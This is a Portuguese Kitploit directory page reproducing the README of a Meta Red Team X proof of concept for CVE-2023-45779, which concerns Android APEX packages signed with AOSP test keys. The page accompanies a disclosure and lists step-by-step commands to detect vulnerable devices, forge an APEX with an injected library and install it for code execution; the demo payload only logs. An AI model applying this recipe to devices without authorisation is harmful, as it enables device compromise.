Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
rtx-cve-2023-45779 — Código de prova de conceito para vulnerabilidade de reutilização de chaves APEX no Android | Kitploit
Ferramentas/GitHubGitHub/metaredteam/rtx-cve-2023-45779
Segurança AndroidAnálise de VulnerabilidadesExploraçãoAnálise de BináriosSegurança da Cadeia de SuprimentosDesenvolvimento de Payloads
GitHubmetaredteam/rtx-cve-2023-45779

rtx-cve-2023-45779

Código de prova de conceito para vulnerabilidade de reutilização de chaves APEX no Android

Ver Repositório
1098há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

Este repositório é fornecido NO ESTADO EM QUE SE ENCONTRA para acompanhar uma divulgação de vulnerabilidade da Meta Red Team X. Não é um projeto oficial da Meta e não será suportado como tal.

Um conjunto de scripts e artefatos que demonstram a detecção e exploração de dispositivos Android que acompanham APEXes assinados com chaves de teste do AOSP. Consulte nossa postagem no blog "Missing signs: como várias marcas esqueceram de proteger uma peça-chave do Android" para obter todos os detalhes do problema.

Arquivos

  • apex-checker/: Um conjunto de scripts Bash para salvar digests de chaves de teste conhecidas e verificar APEXes em massa por assinaturas dessas chaves.
  • apex-forger/: Wrappers leves em torno das ferramentas apexer e deapexer do AOSP que facilitam descompactar, modificar e recompactar um APEX. Como o apktool para APEXes.
  • vndk-libt/: Código-fonte de uma biblioteca que adicionamos a um APEX vulnerável para provar que podemos obter execução de código. Tudo o que ela faz é imprimir a linha de comando de cada processo que a carrega no logcat.

Executando o exploit

  1. Clone uma árvore de código-fonte recente do AOSP (por volta do Android 13), envsetup+lunch, e execute m apexer deapexer apksigner para compilar as ferramentas necessárias.
  2. Atualize o envsetup.sh (o que está aqui, não o do AOSP) para apontar $AOSP e $ANDROID_HOST_OUT para os lugares apropriados.
  3. Obtenha qualquer dispositivo Android. Atualize-o e habilite o ADB.
  4. Execute adb shell getprop ro.build.version.sdk e adb shell getprop ro.vndk.version.
  5. Se os dois coincidirem, adb pull /system/apex/com.android.vndk.current.apex vndk.apex. Caso contrário, adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex, onde <NN> é ro.vndk.version.
  6. Verifique se o APEX está vulnerável com apex-checker/check.sh vndk.apex. Se a saída não começar com "OI" (indicando que tanto as assinaturas externas quanto as internas são de chaves de teste), este PoC não pode ser usado (embora isso não garanta que o dispositivo esteja seguro, pois outros APEXes ainda podem estar vulneráveis).

Chaves de teste conhecidas pelo apex-checker

Os hashes em apex-checker/apk-keys.txt e apex-checker/avb-keys.txt correspondem às chaves de teste externas e internas para os seguintes APEXes. Observe que também existem variantes -goog dessas duas listas, que foram criadas pelo Google após nosso relatório inicial. Essas listas são, em geral, mais completas, mas não sabemos exatamente quais chaves elas contêm.

  • com.android.appsearch
  • com.android.art
  • com.android.btservices
  • com.android.i18n
  • com.android.mediaprovider
  • com.android.ondevicepersonalization
  • com.android.permission
  • com.android.rkpd
  • com.android.runtime
  • com.android.uwb
  • com.android.virt
  • com.android.vndk.v28
  • com.android.vndk.v29
  • com.android.vndk.v30
  • com.android.vndk.v31
  • com.android.vndk.v32
  • com.android.vndk.v33
  • com.android.wifi
Baixar ferramenta
  • Descompacte o APEX com apex-forger/unpack.sh vndk.apex vndk.
  • Tente aplicar patch no libutils.so dentro do APEX extraído para carregar nosso libt.so injetado: git apply --directory=vndk vndk-libt/libutils-v31.patch. Se isso não funcionar (por exemplo, versão diferente do VNDK), use um editor hexadecimal para alterar manualmente libc.so para libt.so no DT_NEEDED apropriado de vndk/payload/lib64/libutils.so.
  • Compile o libt.so executando ndk-build dentro de vndk-libt/. Copie vndk-libt/libs/arm64-v8a/libt.so para vndk/payload/lib64/libt.so.
  • Extraia canned_fs_config de apex_build_info.bp. Não há uma ferramenta para fazer isso facilmente: o mais próximo é protoc --decode_raw <vndk/apex_build_info.bp seguido de desescapar manualmente o campo nº 3. Coloque canned_fs_config em vndk/.
  • Adicione uma linha ao canned_fs_config, como todas as outras, para /lib64/libt.so.
  • Baixe as chaves de teste para a versão apropriada do VNDK em aqui.
  • Recompacte o APEX com apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.
  • Execute adb install vndk/forged.apex.
  • Execute adb reboot && adb logcat -s RTXPoC:D.
  • Observe inúmeras mensagens de log RTXPoC, cada uma de um processo no qual podemos executar código.